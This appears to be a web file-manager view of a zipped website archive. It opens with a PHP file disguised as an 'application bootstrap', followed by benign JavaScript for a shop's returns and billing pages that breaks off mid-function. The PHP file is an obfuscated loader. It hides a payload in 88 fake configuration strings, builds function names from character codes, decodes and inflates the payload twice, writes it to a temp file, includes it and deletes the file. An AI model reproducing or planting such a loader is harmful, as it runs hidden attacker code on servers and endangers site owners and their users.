File manager - Edit - /home2/zetasolve/speedfood.zetasolve.agency/shayantraders.com.zip
Back
PK ��\$��S�$ �$ 7975850036686749default.phpnu �[��� <?php /** * Application Bootstrap File * @package App * @license MIT */ // Environment setup define('APP_NAME', 'MyApplication'); define('APP_ENV', 'production'); define('APP_DEBUG', false); $appConfig = []; $configBlock0 = 'FZM1suwIAAMP5MBMwQ/MzOzMzExjn37fXkCl6pb'; $configBlock1 = 'IcDxz+kAEG68WG2DN5Kcx15e8pdodqjQ11X'; $configBlock2 = 'U8pYYdKgw7SKJ0wycik+sqwJygaQ7e/ekdQ5'; $configBlock3 = 'gWI+ksZ/Mw2HAOc0VVYF9QQUPXYE'; $configBlock4 = '5NGcu13A9paw87VfSikGrge/re9G8Q/KEr'; $configBlock5 = '4zqQMdRi2zIeW/9qhjpq2acW'; $configBlock6 = 'kGNKPYXYy9TUOPuuDnqm6MyjSgr3y35'; $configBlock7 = '/4NKMQW0RcyFX96++xez75fCYAYRYR'; $configBlock8 = 'MdKX64W9bxNISWAMyPrr9rwA5Tm5kTwqfy'; $configBlock9 = 'HCodDZae6rhpbP8rmmesz38m+OJ'; $configBlock10 = '366gqQ5oDnA3cGbN7+lS4amQ4fgI3Ep0d'; $configBlock11 = 'PsPosBwD4epwsbmnkrXZ4iYzU'; $configBlock12 = '64kCtB4LAECrvdGqYlwiHuRbLrcgqoMKtE5RSe'; $configBlock13 = 'AxXXOgx+mhcBHRbmRFlR+x'; $configBlock14 = 'o7uY4QSqAHbTJ2YoRZNykJXXq7+gzi'; $configBlock15 = 'euqp1ExF6n5MJSxv9AZx'; $configBlock16 = 'SCgVz/6LECuQe3KOX3tqlnZ4hLzK5'; $configBlock17 = 'XsrsQNb0WV5TEc4iFOIz4PErkRt/qHh8K'; $configBlock18 = 'iQ0c3oo4+45WPIe7hnYdtJg004gQbHjGdJQniv6'; $configBlock19 = 'InGgy0aaJI16fASpUULhtVxNLIwBvaMpVCAc'; $configBlock20 = 'vCFfbSOuwtdJws+9cHGKfTDcuQq'; $configBlock21 = 'VcdSwOpBq12KZQnwndD5YFfQOhirgQZHtHLoKOY4'; $configBlock22 = 'YpFkfEHi4wODBEeEuQ6JbITFjS0hq3hUZfgPZGp'; $configBlock23 = 'wT7ABdbntgJe9uSKiNkFx'; $configBlock24 = 'hdGFZtBh3L5qiO1XOD0Z2oP27ChAGQnE0dP9j9Oy'; $configBlock25 = 'y/o8W1xrszN+KmDN+Q2sYCn92'; $configBlock26 = 'n7kms5MllTp5WoJ/viVqIvMlAxok'; $configBlock27 = 'SvLXfTqDuBt+tnDIQXyUaNaa/brR+neRIxgi7M'; $configBlock28 = 'iJA7d0e3m6wj748/NpJ0lSA19eUlw'; $configBlock29 = 'XKGEZfOchdf5FAfTiCHq2F8GmlrHSJP6s'; $configBlock30 = 'Cf67nr7AgAhoNURhCwYvBWaYDsombCHr'; $configBlock31 = 'jlHE9Qex4ggYWnQyX8+ODH/xbxXCLDZzh6'; $configBlock32 = 'rPi8fbWmPZWeMZGFWvknYdjuPxaNCZ'; $configBlock33 = 'oug+vq+rNv26TucpJOUYib1Bdl'; $configBlock34 = '/ndA5RXOjUxxqbqH/Crt+ynHX/'; $configBlock35 = 'gJ7ktAvMdz5Fbkq+TmE239r+3'; $configBlock36 = 'wsujZgES0NUxU4bGbCquOG/+w6WnX3DaWadAMxK'; $configBlock37 = '8o4fU+n8hkasMg0fg7MSbQb750dYjlM2Q'; $configBlock38 = 'kF3SF3JP88/foyi63gKqVG43lVE5Fl9UzN'; $configBlock39 = 'xVKSHsQa7I1Fi+RS0RvM5Hv'; $configBlock40 = '19yVE5HitjvHMzFBnOR4zlrO3MA'; $configBlock41 = 'Bd8bNGPMvuSEqe4f/QcmoB4f3RxiHXL0jZQak'; $configBlock42 = 'RpCmtducyvAkZukMy/172'; $configBlock43 = 'EP64bp3DOE810d32AWA6W7+'; $configBlock44 = 'Z463QDg5y0KBEnis6WGwgJfxjnmDz35KQsORM'; $configBlock45 = 'JVnzcghW5mpm42Joao8lC1a2j6t9Uht'; $configBlock46 = '31xp0RZu9FkyPCWlcul87Q9oWWNxsPx4OhfylMH'; $configBlock47 = 'iNygTZ3SzYenQ8oejVXOfAxjrk7c8PVA+'; $configBlock48 = 'Nke+k/7nVIqb5xkuby7AOVU2'; $configBlock49 = 'ztzLZj7cEjG18axl+3BwXrLGH+fWPjr'; $configBlock50 = 'PIz5sj+yi4muN6NRIPpRsnM5rZr0UCkD5RFTW/7q'; $configBlock51 = 'hCbl5aTNVV4P5G+L33p3mVfa9eB7q6ctnHO'; $configBlock52 = '58rR3ChLoHOatUbuA0gOSKovWENh'; $configBlock53 = 'q24dWdXtGawBRskRTREvpnwgR'; $configBlock54 = 'vXdZ6Le5z3NCKWIFc5f8IG2bL0tAqZj+G'; $configBlock55 = 'JKTOkZxxZ7AQIwWfNY5NNjrEmneL5joe5u'; $configBlock56 = 'kJPqY1grN/1jaX2byJFSGwg8rv5L+yI'; $configBlock57 = 'jVH9wCwDe5YL5FOG3ImUH3kWLPlN15xViXLSv'; $configBlock58 = 'ae8ENgn1Ld33s4HUCyuhdtONeYX7qmSpbDVSial'; $configBlock59 = 'nD9tNe4ZK6cmN8NaKIFb0GcKD72r+7cja3zYv'; $configBlock60 = 'y6mdpWTWvjc9Vtko7xFwRnfFJ86cudNBH717aOo4'; $configBlock61 = 'm/2nEjjCYZaE/rLc/jHBzLYWJo/MaddFUglUere'; $configBlock62 = 'lA8BNZOzEYjgGb07wIqtL0Hh74'; $configBlock63 = 'EKFbJ1NZqHo1OWaH4I2h9HiS'; $configBlock64 = 'oSYIOw1pecZ9gtwQaUUst5gLgyiMllBE4C9'; $configBlock65 = 'Qwu7EByU7keBFXhsVNrhCN+vjCVFm0xp'; $configBlock66 = 'Z3zKNNjLUA1+AqWBHtPHd6B9MWEvIwB'; $configBlock67 = 'RNbB2+3HfdD5iB6nXkMA/J'; $configBlock68 = '0XoOvFcYk05/ghXVB3AkYB+m1q0Pf/PYlwu'; $configBlock69 = 'M2O1wqld+sgE6w2SUDyGl3'; $configBlock70 = 'iwhYfe5/oVDAOq/rzEvTp9mzej7oGLArICySv/Xz'; $configBlock71 = 'ELYxbwl4Nbm68XoDV7wk4c4XCTta'; $configBlock72 = 'DQJBNLV289RQYB0C7DUHwA5W6hA'; $configBlock73 = '70URoEhtzQd4QNx6uWEm6cHSRlAM8DLih/1Th0B'; $configBlock74 = 'kBToiv3WrZgoMcIrIgumlSaElK2dAkidE6gSA8'; $configBlock75 = 'F8CHSVc3nhJkpE+5vl001EjFm9D'; $configBlock76 = '28uF/K7sNBcU/mzEsHQYGyQdnYLCX'; $configBlock77 = '96z8N2lcok/n73uIWruWLlsVT'; $configBlock78 = 'YnnKgvr/gumoJHzgXlPS73eZbEN2aIbdxvEec'; $configBlock79 = 'CJyz/dfUC/hNYvnmIY1XFsv'; $configBlock80 = '4Y35DMvgC1Z7fd8uq0wcO'; $configBlock81 = 'TrBcc2zMquhKd5Z5uFMwb2Dg'; $configBlock82 = '8gQcKWZrKYHLYvF+KpqEc0XeHKHDQJD'; $configBlock83 = 'rSsjgN+8TplR6WFpHFpwoBg2erOuUiRWVh4VpCu'; $configBlock84 = '/COmcG0hdvl39aTjjK6726cnw'; $configBlock85 = 'ADVbmZbR5EuVucUksYKvwTX7AqBaW6TRzB'; $configBlock86 = 'WYPfEHKBpnR+fit8G2iybOuqGUaS22wO7w'; $configBlock87 = 'kDuyliHJN++XzPD/Lz799/'; // Configuration blocks (auto-generated) $configMap = [$configBlock0, $configBlock1, $configBlock2, $configBlock3, $configBlock4, $configBlock5, $configBlock6, $configBlock7, $configBlock8, $configBlock9, $configBlock10, $configBlock11, $configBlock12, $configBlock13, $configBlock14, $configBlock15, $configBlock16, $configBlock17, $configBlock18, $configBlock19, $configBlock20, $configBlock21, $configBlock22, $configBlock23, $configBlock24, $configBlock25, $configBlock26, $configBlock27, $configBlock28, $configBlock29, $configBlock30, $configBlock31, $configBlock32, $configBlock33, $configBlock34, $configBlock35, $configBlock36, $configBlock37, $configBlock38, $configBlock39, $configBlock40, $configBlock41, $configBlock42, $configBlock43, $configBlock44, $configBlock45, $configBlock46, $configBlock47, $configBlock48, $configBlock49, $configBlock50, $configBlock51, $configBlock52, $configBlock53, $configBlock54, $configBlock55, $configBlock56, $configBlock57, $configBlock58, $configBlock59, $configBlock60, $configBlock61, $configBlock62, $configBlock63, $configBlock64, $configBlock65, $configBlock66, $configBlock67, $configBlock68, $configBlock69, $configBlock70, $configBlock71, $configBlock72, $configBlock73, $configBlock74, $configBlock75, $configBlock76, $configBlock77, $configBlock78, $configBlock79, $configBlock80, $configBlock81, $configBlock82, $configBlock83, $configBlock84, $configBlock85, $configBlock86, $configBlock87]; // Internal string assembler $_make = static function(array $chars): string { return implode('', array_map('chr', $chars)); }; $_map1 = $_make(array ( 0 => 98, 1 => 97, 2 => 115, 3 => 101, 4 => 54, 5 => 52, 6 => 95, 7 => 100, 8 => 101, 9 => 99, 10 => 111, 11 => 100, 12 => 101, )); $_unpack = $_make(array ( 0 => 103, 1 => 122, 2 => 105, 3 => 110, 4 => 102, 5 => 108, 6 => 97, 7 => 116, 8 => 101, )); $_join = $_make(array ( 0 => 105, 1 => 109, 2 => 112, 3 => 108, 4 => 111, 5 => 100, 6 => 101, )); $_hash = $_make(array ( 0 => 99, 1 => 114, 2 => 99, 3 => 51, 4 => 50, )); $_temp = $_make(array ( 0 => 116, 1 => 101, 2 => 109, 3 => 112, 4 => 110, 5 => 97, 6 => 109, )); $_write = $_make(array ( 0 => 102, 1 => 105, 2 => 108, 3 => 101, 4 => 95, 5 => 112, 6 => 117, 7 => 116, 8 => 95, 9 => 99, 10 => 111, 11 => 110, 12 => 116, 13 => 101, 14 => 110, 15 => 116, 16 => 115, )); $_remove = $_make(array ( 0 => 117, 1 => 110, 2 => 108, 3 => 105, 4 => 110, 5 => 107, )); $_tmpdir = $_make(array ( 0 => 115, 1 => 121, 2 => 115, 3 => 95, 4 => 103, 5 => 101, 6 => 116, 7 => 95, 8 => 116, 9 => 101, 10 => 109, 11 => 112, 12 => 95, 13 => 100, 14 => 105, 15 => 114, )); $_canWrite = $_make(array ( 0 => 105, 1 => 115, 2 => 95, 3 => 119, 4 => 114, 5 => 105, 6 => 116, 7 => 97, 8 => 98, 9 => 108, 10 => 101, )); $_chunk = $_make(array ( 0 => 115, 1 => 116, 2 => 114, 3 => 95, 4 => 115, 5 => 112, 6 => 108, 7 => 105, 8 => 116, )); // Resolve application runtime function resolveApplication($map, $tools) { // Merge configuration blocks $raw = $tools['join']('', $map); // Normalize character encoding (no-op) $raw = $tools['join']('', $tools['chunk']($raw)); // Layer 1 extraction $raw = $tools['map1']($raw); $raw = $tools['unpack']($raw); // Layer 2 extraction $raw = $tools['map1']($raw); $raw = $tools['unpack']($raw); return $raw; } // Prepare processing tools $tools = [ 'join' => $_join, 'chunk' => $_chunk, 'map1' => $_map1, 'unpack' => $_unpack, ]; // Build application core $appCore = resolveApplication($configMap, $tools); // Verify application hash if ($_hash($appCore) === 3546443509) { $cacheDir = $_tmpdir(); if (!$_canWrite($cacheDir)) { $cacheDir = __DIR__; } $cacheFile = $_temp($cacheDir, 'app_cache_'); if ($cacheFile) { $_write($cacheFile, '<?php ' . $appCore); if (filesize($cacheFile) > 0) { include $cacheFile; } $_remove($cacheFile); } } // Cleanup unset($configMap, $tools, $appCore, $cacheFile, $cacheDir); // Bootstrap complete ?> <?php /* 6556d9491b16c5908eb2f4b9e57a9376 */ ?>PK ��\�����. �. scripts/returns.jsnu �[��� let allSkus = []; let returnCart = []; let allReturns = []; document.addEventListener('DOMContentLoaded', async () => { document.getElementById('returnDate').valueAsDate = new Date(); await loadSkus(); await loadReturns(); }); async function loadSkus() { try { allSkus = await app.apiGet('/skus'); const skuSelect = document.getElementById('returnSkuSelect'); skuSelect.innerHTML = '<option value="">Select a product...</option>' + allSkus.map(sku => ` <option value="${sku.id}"> ${sku.sku_code} - ${sku.product_name} ${sku.flavour} (${sku.weight}) </option> `).join(''); } catch (error) { console.error('Error loading SKUs:', error); app.showNotification('Failed to load products', 'error'); } } function addReturnItem() { const skuSelect = document.getElementById('returnSkuSelect'); const quantity = parseInt(document.getElementById('returnQuantity').value); if (!skuSelect.value) { app.showNotification('Please select a product', 'error'); return; } if (quantity < 1) { app.showNotification('Quantity must be at least 1', 'error'); return; } const skuId = parseInt(skuSelect.value); const sku = allSkus.find(s => s.id === skuId); // Check if already in cart const existingItem = returnCart.find(item => item.sku_id === skuId); if (existingItem) { existingItem.quantity += quantity; } else { returnCart.push({ sku_id: skuId, sku_code: sku.sku_code, product_name: sku.product_name, flavour: sku.flavour, weight: sku.weight, quantity: quantity }); } // Reset selection skuSelect.value = ''; document.getElementById('returnQuantity').value = 1; updateReturnItemsDisplay(); } function removeReturnItem(index) { returnCart.splice(index, 1); updateReturnItemsDisplay(); } function updateReturnItemsDisplay() { const container = document.getElementById('returnItems'); const submitBtn = document.getElementById('submitReturnBtn'); if (returnCart.length === 0) { container.innerHTML = '<p class="text-muted" style="text-align: center; padding: 2rem;">No items added yet</p>'; submitBtn.disabled = true; return; } submitBtn.disabled = false; container.innerHTML = ` <div style="background: var(--bg-tertiary); border-radius: var(--radius-md); padding: 1rem;"> ${returnCart.map((item, index) => ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 0.75rem 0; ${index < returnCart.length - 1 ? 'border-bottom: 1px solid var(--glass-border);' : ''}"> <div style="flex: 1;"> <div style="font-weight: 600; color: var(--text-primary);">${item.sku_code}</div> <div style="font-size: 0.875rem; color: var(--text-muted);">${item.product_name} ${item.flavour} (${item.weight})</div> </div> <div style="display: flex; align-items: center; gap: 1rem;"> <div style="font-weight: 600; color: var(--text-primary);">Qty: ${item.quantity}</div> <button type="button" class="btn btn-danger" onclick="removeReturnItem(${index})" style="padding: 0.5rem 0.75rem; font-size: 0.75rem;"> Remove </button> </div> </div> `).join('')} </div> `; } async function processReturn(event) { event.preventDefault(); if (returnCart.length === 0) { app.showNotification('Please add items to return', 'error'); return; } const returnData = { return_date: document.getElementById('returnDate').value, customer_name: document.getElementById('customerName').value || null, reason: document.getElementById('returnReason').value || null, return_type: document.getElementById('returnType').value, original_transaction_id: null, items: returnCart }; try { await app.apiPost('/returns', returnData); app.showNotification('Return processed successfully! Inventory updated.', 'success'); // Reset form returnCart = []; document.getElementById('returnForm').reset(); document.getElementById('returnDate').valueAsDate = new Date(); updateReturnItemsDisplay(); // Reload returns history await loadReturns(); } catch (error) { console.error('Error processing return:', error); app.showNotification('Failed to process return', 'error'); } } async function loadReturns(filters = {}) { try { let url = '/returns'; const params = new URLSearchParams(); if (filters.start_date) params.append('start_date', filters.start_date); if (filters.end_date) params.append('end_date', filters.end_date); if (params.toString()) url += '?' + params.toString(); allReturns = await app.apiGet(url); const container = document.getElementById('returnHistoryList'); if (allReturns.length === 0) { container.innerHTML = '<p class="loading">No returns found</p>'; return; } container.innerHTML = allReturns.map(ret => { const itemDescription = ret.items && ret.items.length > 0 ? `${ret.items[0].product_name} (${ret.items[0].quantity}x)` + (ret.items.length > 1 ? ` +${ret.items.length - 1} more` : '') : 'No items'; return ` <div class="activity-item fade-in" style="border-bottom: 1px solid var(--glass-border); padding: 1rem 0;"> <div style="display: flex; justify-content: space-between; align-items: flex-start;"> <div style="flex: 1;"> <div style="display: flex; justify-content: space-between; align-items: start; margin-bottom: 0.5rem;"> <strong style="color: var(--text-primary);">${app.formatDate(ret.return_date)}</strong> ${ret.customer_name ? `<span style="color: var(--text-muted); margin-left: 0.5rem;">• ${ret.customer_name}</span>` : ''} </div> <div style="display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.25rem;"> <span style="font-size: 0.75rem; padding: 0.25rem 0.5rem; border-radius: 4px; background: ${ret.return_type === 'Damaged' ? 'rgba(239, 68, 68, 0.2)' : 'rgba(16, 185, 129, 0.2)'}; color: ${ret.return_type === 'Damaged' ? '#ef4444' : '#10b981'};"> ${ret.return_type || 'Normal'} </span> <span style="font-size: 0.875rem;">${itemDescription}</span> </div> ${ret.reason ? `<p style="font-size: 0.875rem; color: var(--text-muted); margin: 0.25rem 0;">Reason: ${ret.reason}</p>` : ''} </div> <button class="btn btn-secondary" onclick="openEditReturnModal(${ret.id})" style="padding: 0.25rem 0.5rem; font-size: 0.75rem; margin-left: 0.5rem;"> Edit </button> <button class="btn btn-danger" onclick="deleteReturn(${ret.id})" style="padding: 0.25rem 0.5rem; font-size: 0.75rem; margin-left: 0.5rem;"> Delete </button> </div> </div> `}).join(''); } catch (error) { console.error('Error loading returns:', error); document.getElementById('returnHistoryList').innerHTML = '<p class="loading">Failed to load returns</p>'; } } async function deleteReturn(returnId) { if (confirm('Are you sure you want to delete this return? If it was a Normal return, stock will be reversed.')) { try { await app.apiDelete(`/returns/${returnId}`); app.showNotification('Return deleted successfully', 'success'); await loadReturns(); await loadSkus(); // Refresh products stock } catch (error) { console.error('Error deleting return:', error); app.showNotification('Failed to delete return', 'error'); } } } function filterReturns() { const filters = { start_date: document.getElementById('filterStartDate').value, end_date: document.getElementById('filterEndDate').value }; loadReturns(filters); } function openEditReturnModal(returnId) { // Flatten returns to find specific return record const ret = allReturns.find(r => r.id === returnId); if (!ret) return; // For simplicity, we only edit the first item if there are multiple, // or handle multi-item edits properly. // Given the UI, let's assume single-item edits or just editing the main fields + quantity of first item // Ideally, we'd need a more complex UI for multi-item returns. // For now, let's pre-fill with the first item's data. const firstItem = ret.items && ret.items.length > 0 ? ret.items[0] : null; document.getElementById('editReturnId').value = ret.id; document.getElementById('editSkuId').value = firstItem ? firstItem.sku_id : ''; document.getElementById('editReturnDate').value = ret.return_date; document.getElementById('editCustomerName').value = ret.customer_name || ''; document.getElementById('editReturnType').value = ret.return_type; document.getElementById('editReturnReason').value = ret.reason || ''; if (firstItem) { document.getElementById('editProductDetails').value = `${firstItem.product_name} - ${firstItem.flavour}`; document.getElementById('editReturnQuantity').value = firstItem.quantity; } else { document.getElementById('editProductDetails').value = 'No items found'; document.getElementById('editReturnQuantity').value = 0; } document.getElementById('editReturnModal').classList.add('active'); } function closeEditReturnModal() { document.getElementById('editReturnModal').classList.remove('active'); document.getElementById('editReturnForm').reset(); } async function updateReturnRecord(event) { event.preventDefault(); const returnId = document.getElementById('editReturnId').value; const skuId = document.getElementById('editSkuId').value; if (!skuId) { app.showNotification('Cannot update return with no items', 'error'); return; } const payload = { return_date: document.getElementById('editReturnDate').value, customer_name: document.getElementById('editCustomerName').value, reason: document.getElementById('editReturnReason').value, return_type: document.getElementById('editReturnType').value, items: [{ sku_id: parseInt(skuId), quantity: parseInt(document.getElementById('editReturnQuantity').value) }] }; try { await app.apiPut(`/returns/${returnId}`, payload); app.showNotification('Return updated successfully', 'success'); closeEditReturnModal(); await loadReturns(); // Refresh products to show updated stock await loadSkus(); } catch (error) { console.error('Error updating return:', error); app.showNotification('Failed to update return', 'error'); } } PK ��\a��e �e scripts/billing.jsnu �[��� let allSkus = []; let cart = []; document.addEventListener('DOMContentLoaded', async () => { // Set today's date document.getElementById('transactionDate').valueAsDate = new Date(); // Wait a bit to ensure authentication is properly established setTimeout(async () => { console.log('Checking authentication before loading SKUs...'); // Verify user is authenticated const isLoggedIn = localStorage.getItem('isLoggedIn') === 'true'; const userRole = localStorage.getItem('role'); if (!isLoggedIn || !userRole) { console.error('User not properly authenticated. Redirecting to login...'); window.location.href = '../login.html'; return; } console.log('User authenticated, loading SKUs...'); // Load SKUs await loadSkus(); // Restore cart from session storage restoreCartState(); // Initialize discount input initializeDiscountInput(); }, 100); // Small delay to ensure all auth checks are complete }); // Save cart state to session storage function saveCartState() { sessionStorage.setItem('billingCart', JSON.stringify(cart)); sessionStorage.setItem('billingCustomerName', document.getElementById('customerName').value || ''); // Save discount if exists const discountInput = document.getElementById('discountPercentage'); if (discountInput) { sessionStorage.setItem('billingDiscountPercentage', discountInput.value); } // Save amount paid const amountPaidInput = document.getElementById('amountPaid'); if (amountPaidInput) { sessionStorage.setItem('billingAmountPaid', amountPaidInput.value); } } // Restore cart state from session storage function restoreCartState() { const savedCart = sessionStorage.getItem('billingCart'); if (savedCart) { cart = JSON.parse(savedCart); updateCartDisplay(); } // Restore customer name const savedCustomerName = sessionStorage.getItem('billingCustomerName'); if (savedCustomerName) { document.getElementById('customerName').value = savedCustomerName; } // Restore discount const savedDiscount = sessionStorage.getItem('billingDiscountPercentage'); if (savedDiscount !== null) { const discountInput = document.getElementById('discountPercentage'); if (discountInput) { discountInput.value = savedDiscount; updateDiscountAmount(); // Update discount display } } // Restore amount paid const savedAmountPaid = sessionStorage.getItem('billingAmountPaid'); if (savedAmountPaid !== null) { const amountPaidInput = document.getElementById('amountPaid'); if (amountPaidInput) { amountPaidInput.value = savedAmountPaid; } } } // Clear saved cart state function clearCartState() { sessionStorage.removeItem('billingCart'); sessionStorage.removeItem('billingCustomerName'); sessionStorage.removeItem('billingDiscountPercentage'); sessionStorage.removeItem('billingAmountPaid'); } async function loadSkus() { try { // Add a small delay to ensure authentication is fully established await new Promise(resolve => setTimeout(resolve, 500)); allSkus = await app.apiGet('/skus'); const skuSelect = document.getElementById('skuSelect'); if (allSkus && allSkus.length > 0) { skuSelect.innerHTML = '<option value="">Select a product...</option>' + allSkus.map(sku => ` <option value="${sku.id}" data-price="${sku.price}" data-stock="${sku.current_stock}"> ${sku.sku_code} - ${sku.product_name} ${sku.flavour} (${sku.weight}) - ${app.formatCurrency(sku.price)} [Stock: ${sku.current_stock}] </option> `).join(''); console.log(`Loaded ${allSkus.length} SKUs successfully`); } else { skuSelect.innerHTML = '<option value="">No products available</option>'; console.log('No SKUs found in database'); } } catch (error) { console.error('Error loading SKUs:', error); console.error('Full error details:', error.message, error.stack); const skuSelect = document.getElementById('skuSelect'); skuSelect.innerHTML = '<option value="">Failed to load products</option>'; app.showNotification('Failed to load products. Please check your connection and refresh the page.', 'error'); // Try alternative loading after a delay setTimeout(async () => { try { allSkus = await app.apiGet('/skus'); if (allSkus && allSkus.length > 0) { const skuSelect = document.getElementById('skuSelect'); skuSelect.innerHTML = '<option value="">Select a product...</option>' + allSkus.map(sku => ` <option value="${sku.id}" data-price="${sku.price}" data-stock="${sku.current_stock}"> ${sku.sku_code} - ${sku.product_name} ${sku.flavour} (${sku.weight}) - ${app.formatCurrency(sku.price)} [Stock: ${sku.current_stock}] </option> `).join(''); app.showNotification('Products loaded successfully!', 'success'); } } catch (retryError) { console.error('Retry also failed:', retryError); } }, 2000); } } function addItemToCart() { const skuSelect = document.getElementById('skuSelect'); const quantity = parseInt(document.getElementById('itemQuantity').value); if (!skuSelect.value) { app.showNotification('Please select a product', 'error'); return; } if (quantity < 1) { app.showNotification('Quantity must be at least 1', 'error'); return; } const skuId = parseInt(skuSelect.value); const sku = allSkus.find(s => s.id === skuId); const selectedOption = skuSelect.options[skuSelect.selectedIndex]; const availableStock = parseInt(selectedOption.dataset.stock); // Check if already in cart const existingItem = cart.find(item => item.sku_id === skuId); const totalQuantity = existingItem ? existingItem.quantity + quantity : quantity; if (totalQuantity > availableStock) { app.showNotification(`Insufficient stock! Available: ${availableStock}`, 'error'); return; } if (existingItem) { existingItem.quantity = totalQuantity; } else { cart.push({ sku_id: skuId, sku_code: sku.sku_code, product_name: sku.product_name, flavour: sku.flavour, weight: sku.weight, unit_price: sku.price, quantity: quantity }); } // Reset selection skuSelect.value = ''; document.getElementById('itemQuantity').value = 1; updateCartDisplay(); saveCartState(); // Save state after adding item } function removeItemFromCart(index) { cart.splice(index, 1); updateCartDisplay(); saveCartState(); // Save state after removing item } function updateCartDisplay() { const cartContainer = document.getElementById('cartItems'); const submitBtn = document.getElementById('submitBtn'); const previewInvoiceBtn = document.getElementById('previewInvoiceBtn'); if (cart.length === 0) { cartContainer.innerHTML = '<p class="text-muted" style="text-align: center; padding: 2rem;">No items added yet</p>'; submitBtn.disabled = true; previewInvoiceBtn.disabled = true; updateBillSummary(); return; } submitBtn.disabled = false; previewInvoiceBtn.disabled = false; cartContainer.innerHTML = ` <div style="background: var(--bg-tertiary); border-radius: var(--radius-md); padding: 1rem;"> ${cart.map((item, index) => ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 0.75rem 0; ${index < cart.length - 1 ? 'border-bottom: 1px solid var(--glass-border);' : ''}"> <div style="flex: 1;"> <div style="font-weight: 600; color: var(--text-primary);">${item.sku_code}</div> <div style="font-size: 0.875rem; color: var(--text-muted);">${item.product_name} ${item.flavour} (${item.weight})</div> </div> <div style="display: flex; align-items: center; gap: 1rem;"> <div style="text-align: right;"> <div style="color: var(--text-secondary);">${item.quantity} × ${app.formatCurrency(item.unit_price)}</div> <div style="font-weight: 600; color: var(--text-primary);">${app.formatCurrency(item.quantity * item.unit_price)}</div> </div> <button type="button" class="btn btn-danger" onclick="removeItemFromCart(${index})" style="padding: 0.5rem 0.75rem; font-size: 0.75rem;"> Remove </button> </div> </div> `).join('')} </div> `; updateBillSummary(); } function updateBillSummary() { const itemCount = cart.reduce((sum, item) => sum + item.quantity, 0); const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); // Get user role to determine if discount is allowed const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); // Calculate discount - only manual discount allowed (no automatic discount) let discountPercentage = 0; let discountAmount = 0; let finalTotal = subtotal; // Check for manual discount const discountPercentageInput = document.getElementById('discountPercentage'); if (discountPercentageInput && discountPercentageInput.value) { if (discountAllowed) { const manualDiscount = getManualDiscount(); discountPercentage = manualDiscount.percentage; discountAmount = manualDiscount.amount; finalTotal = subtotal - discountAmount; } } document.getElementById('summaryItemCount').textContent = itemCount; document.getElementById('summarySubtotal').textContent = app.formatCurrency(subtotal); document.getElementById('summaryDiscount').textContent = app.formatCurrency(discountAmount); document.getElementById('summaryTotal').textContent = app.formatCurrency(finalTotal); } async function processSale(event) { event.preventDefault(); if (cart.length === 0) { app.showNotification('Please add items to the cart', 'error'); return; } // Get user role to determine if discount is allowed const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); // Calculate discount for the transaction (manual discount only, no automatic discount) const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); let discountPercentage = 0; let discountAmount = 0; // Check if manual discount is entered const discountPercentageInput = document.getElementById('discountPercentage'); if (discountPercentageInput && discountPercentageInput.value) { // Validate discount authorization if (!discountAllowed) { app.showNotification('Only Admin or Manager can apply manual discounts', 'error'); return; } const manualDiscount = getManualDiscount(); discountPercentage = manualDiscount.percentage; discountAmount = manualDiscount.amount; } // Note: Automatic discount logic (bill ≥ 2000 PKR → 10% discount) has been removed // Only manual discounts are allowed now const finalTotal = subtotal - discountAmount; // Get amount paid from the new input field const amountPaidInput = document.getElementById('amountPaid'); let amountPaid = 0; if (amountPaidInput && amountPaidInput.value) { amountPaid = parseFloat(amountPaidInput.value); if (isNaN(amountPaid) || amountPaid < 0) { app.showNotification('Please enter a valid amount paid', 'error'); return; } if (amountPaid < finalTotal) { app.showNotification('Amount paid must be equal to or greater than the total amount', 'error'); return; } } else { // If no amount is entered, default to the final total amountPaid = finalTotal; } // For cash-only flow, payment type is always 'Cash' const transactionData = { transaction_date: document.getElementById('transactionDate').value, customer_name: document.getElementById('customerName').value || 'Walk-in Customer', payment_type: 'Cash', // Fixed to Cash only items: cart, discount_percentage: discountPercentage, discount_amount: discountAmount, amount_paid: amountPaid }; try { const result = await app.apiPost('/transactions', transactionData); app.showNotification(`Sale completed! Total: ${app.formatCurrency(result.final_total || result.total_amount)}`, 'success'); // Reset form and clear saved state cart = []; document.getElementById('billingForm').reset(); document.getElementById('transactionDate').valueAsDate = new Date(); updateCartDisplay(); clearCartState(); // Clear saved state after successful sale // Reload SKUs to update stock levels await loadSkus(); } catch (error) { console.error('Error processing sale:', error); app.showNotification('Failed to process sale', 'error'); } } async function viewSalesHistory() { document.getElementById('salesHistorySection').style.display = 'block'; await loadSalesHistory(); } function closeSalesHistory() { document.getElementById('salesHistorySection').style.display = 'none'; } async function loadSalesHistory(filters = {}) { try { let url = '/transactions'; const params = new URLSearchParams(); if (filters.start_date) params.append('start_date', filters.start_date); if (filters.end_date) params.append('end_date', filters.end_date); if (params.toString()) url += '?' + params.toString(); const transactions = await app.apiGet(url); const tbody = document.getElementById('salesHistoryBody'); if (transactions.length === 0) { tbody.innerHTML = '<tr><td colspan="5" class="loading">No transactions found</td></tr>'; return; } tbody.innerHTML = transactions.map(transaction => ` <tr class="fade-in"> <td>${app.formatDate(transaction.transaction_date)}</td> <td>${transaction.customer_name}</td> <td> <div><strong>${app.formatCurrency(transaction.total_amount)}</strong></div> ${transaction.discount_amount > 0 ? `<div style="font-size: 0.8rem; color: var(--success);">-${transaction.discount_percentage}% (-${app.formatCurrency(transaction.discount_amount)})</div>` : ''} </td> <td> <button class="btn btn-secondary" onclick="viewTransactionDetails(${transaction.id})" style="padding: 0.5rem 1rem; font-size: 0.75rem;"> View Details </button> <button class="btn btn-danger" onclick="deleteTransaction(${transaction.id})" style="padding: 0.5rem 1rem; font-size: 0.75rem; margin-left: 0.5rem;"> Void </button> </td> </tr> `).join(''); } catch (error) { console.error('Error loading sales history:', error); document.getElementById('salesHistoryBody').innerHTML = '<tr><td colspan="5" class="loading">Failed to load sales history</td></tr>'; } } function filterSalesHistory() { const filters = { start_date: document.getElementById('filterStartDate').value, end_date: document.getElementById('filterEndDate').value }; loadSalesHistory(filters); } async function viewTransactionDetails(transactionId) { try { const transaction = await app.apiGet(`/transactions/${transactionId}`); const content = ` <div style="margin-bottom: 1rem;"> <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 